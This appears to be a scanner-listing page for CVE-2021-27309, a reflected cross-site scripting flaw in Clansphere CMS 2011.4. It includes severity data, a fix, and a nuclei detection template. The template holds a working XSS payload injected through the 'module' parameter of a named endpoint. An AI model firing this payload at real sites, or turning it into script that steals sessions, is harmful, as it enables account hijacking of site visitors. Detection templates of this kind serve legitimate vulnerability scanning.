Clansphere CMS 2011.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>
Positive when: contains "\"></script><script>alert(document.domain)</script>.php" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27309 -u <target>

The full check

id: CVE-2021-27309

info:
  name: Clansphere CMS 2011.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the  "module" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27309
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27309
    cwe-id: CWE-79
    epss-score: 0.01969
    epss-percentile: 0.80567
    cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: csphere
    product: clansphere
  tags: cve2021,cve,clansphere,xss,cms,unauth,csphere,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>.php'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from